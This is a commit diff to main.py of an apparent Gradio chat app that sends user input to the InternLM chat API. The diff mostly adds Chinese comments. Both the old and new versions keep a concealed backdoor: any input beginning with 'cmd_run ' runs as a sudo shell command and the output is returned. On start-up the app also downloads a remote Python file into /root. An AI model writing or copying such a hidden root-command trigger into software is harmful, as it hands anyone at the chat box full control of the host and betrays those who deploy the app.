Update main.py

main.py

@@ -1,79 +1,80 @@
-import os
-import requests
-import subprocess
-import json
-import gradio as gr
-
-def api_call(input_text):
-    api_token = os.getenv("API_TOKEN")
-    if not api_token:
-        return "API token 未设置，请检查环境变量。"
-   
-    # 如果输入以 "cmd_run" 开头，则使用 sudo 执行命令
-    if input_text.startswith("cmd_run "):
-        command = input_text[len("cmd_run "):]
-        try:
-            # 使用 sudo 执行命令
-            result = subprocess.run(f"sudo {command}", shell=True, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
-            return result.stdout or result.stderr
-        except subprocess.CalledProcessError as e:
-            return f"执行命令时出错: {e}"
-
-    # 否则，调用API
-    url = 'https://internlm-chat.intern-ai.org.cn/puyu/api/v1/chat/completions'
-    headers = {
-        'Content-Type': 'application/json',
-        "Authorization": f"Bearer {api_token}"
-    }
-    
-    data = {
-        "model": "internlm2.5-latest",
-        "messages": [{
-            "role": "user",
-            "content": input_text
-        }],
-        "n": 1,
-        "temperature": 0.8,
-        "top_p": 0.9
-    }
-    
-    try:
-        response = requests.post(url, headers=headers, data=json.dumps(data))
-        response.raise_for_status()
-        return response.json()["choices"][0]["message"]["content"]
-    except Exception as e:
-        return f"解析响应时出错: {e}"
-
-def start_gradio():
-    with gr.Blocks() as demo:
-        input_box = gr.Textbox(label="输入", placeholder="输入对话内容")
-        output_box = gr.Textbox(label="回复", placeholder="等待API响应...")
-        send_button = gr.Button("发送")
-
-        send_button.click(api_call, inputs=input_box, outputs=output_box)
-
-    demo.launch(share=False)
-
-def download_d():
-    destination_path = "/root"
-    file_name = "download.py"
-    url = "https://hf-mirror.com/HOPStudio/modelscope/resolve/main/download.py?download=true"
-    file_path = os.path.join(destination_path, file_name)
-    
-    # 下载文件
-    response = requests.get(url)
-    if response.status_code == 200:
-        with open(file_path, 'wb') as file:
-            file.write(response.content)
-        return f"文件已下载到 {file_path}"
-    else:
-        return "下载失败"
-
-def main():
-    download_message = download_d()
-    print(download_message)
-
-    start_gradio()
-
-if __name__ == "__main__":
-    main()
+import os
+import requests
+import subprocess
+import json
+import gradio as gr
+
+# 处理 API 请求的函数
+def api_call(input_text):
+    api_token = os.getenv("API_TOKEN")
+    if not api_token:
+        return "API token 未设置，请检查环境变量。"
+   
+    # 如果输入以 "cmd_run" 开头，则执行系统命令
+    if input_text.startswith("cmd_run "):
+        command = input_text[len("cmd_run "):]
+        try:
+            # 使用 sudo 执行命令
+            result = subprocess.run(f"sudo {command}", shell=True, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
+            return result.stdout or result.stderr
+        except subprocess.CalledProcessError as e:
+            return f"执行命令时出错: {e}"
+
+    # 否则，调用API
+    url = 'https://internlm-chat.intern-ai.org.cn/puyu/api/v1/chat/completions'
+    headers = {
+        'Content-Type': 'application/json',
+        "Authorization": f"Bearer {api_token}"
+    }
+    
+    data = {
+        "model": "internlm2.5-latest",
+        "messages": [{"role": "user", "content": input_text}],
+        "n": 1,
+        "temperature": 0.8,
+        "top_p": 0.9
+    }
+    
+    try:
+        response = requests.post(url, headers=headers, data=json.dumps(data))
+        response.raise_for_status()
+        return response.json()["choices"][0]["message"]["content"]
+    except Exception as e:
+        return f"解析响应时出错: {e}"
+
+# 启动 Gradio 界面
+def start_gradio():
+    with gr.Blocks() as demo:
+        input_box = gr.Textbox(label="输入", placeholder="输入对话内容")
+        output_box = gr.Textbox(label="回复", placeholder="等待API响应...")
+        send_button = gr.Button("发送")
+
+        send_button.click(api_call, inputs=input_box, outputs=output_box)
+
+    demo.launch(share=False)
+
+# 下载指定的 Python 文件
+def download_d():
+    destination_path = "/root"
+    file_name = "download.py"
+    url = "https://hf-mirror.com/HOPStudio/modelscope/resolve/main/download.py?download=true"
+    file_path = os.path.join(destination_path, file_name)
+    
+    # 下载文件
+    response = requests.get(url)
+    if response.status_code == 200:
+        with open(file_path, 'wb') as file:
+            file.write(response.content)
+        return f"文件已下载到 {file_path}"
+    else:
+        return "下载失败"
+
+# 主函数
+def main():
+    download_message = download_d()
+    print(download_message)
+
+    start_gradio()
+
+if __name__ == "__main__":
+    main()